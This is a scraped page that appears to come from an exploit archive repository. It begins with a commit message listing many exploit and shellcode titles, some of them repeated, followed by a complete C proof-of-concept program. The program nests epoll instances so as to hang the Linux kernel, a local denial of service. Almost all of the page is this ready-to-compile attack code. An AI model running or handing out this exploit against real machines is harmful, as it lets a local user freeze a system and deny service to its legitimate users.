880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
77 lines
No EOL
1.7 KiB
C
77 lines
No EOL
1.7 KiB
C
/*
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source: https://www.securityfocus.com/bid/46630/info
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The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities.
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Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users.
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*/
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#include <unistd.h>
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#include <sys/epoll.h>
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#include <sys/time.h>
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#include <stdio.h>
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#define SIZE 250
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int main(void) {
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int links[SIZE];
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int links2[SIZE];
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int links3[SIZE];
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int links4[SIZE];
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int i, j;
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int ret;
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int ep1, ep2;
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struct timeval start, end;
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struct epoll_event evt = {
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.events = EPOLLIN
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};
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ep1 = epoll_create(1);
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for (i = 0; i < SIZE; i++) {
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links[i] = epoll_create(1);
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ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &evt);
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if (ret)
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perror("error 1");
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}
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for (i = 0; i < SIZE; i++) {
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links2[i] = epoll_create(1);
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for (j = 0; j < SIZE; j++) {
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epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &evt);
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if (ret)
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perror("error 2");
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}
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}
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for (i = 0; i < SIZE; i++) {
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links3[i] = epoll_create(1);
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for (j = 0; j < SIZE; j++) {
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epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &evt);
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if (ret)
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perror("error 3");
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}
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}
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for (i = 0; i < SIZE; i++) {
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links4[i] = epoll_create(1);
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for (j = 0; j < SIZE; j++) {
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epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &evt);
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if (ret)
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perror("error 4");
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}
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}
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ep2 = epoll_create(1);
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gettimeofday(&start, NULL);
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ret = epoll_ctl(ep2, EPOLL_CTL_ADD, ep1, &evt);
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/* creates a loop */
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//ret = epoll_ctl(links4[499], EPOLL_CTL_ADD, ep1, &evt);
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if (ret)
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perror("error 5");
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gettimeofday(&end, NULL);
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printf("%ld\n", ((end.tv_sec * 1000000 + end.tv_usec)
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- (start.tv_sec * 1000000 + start.tv_usec)));
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return 0;
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} |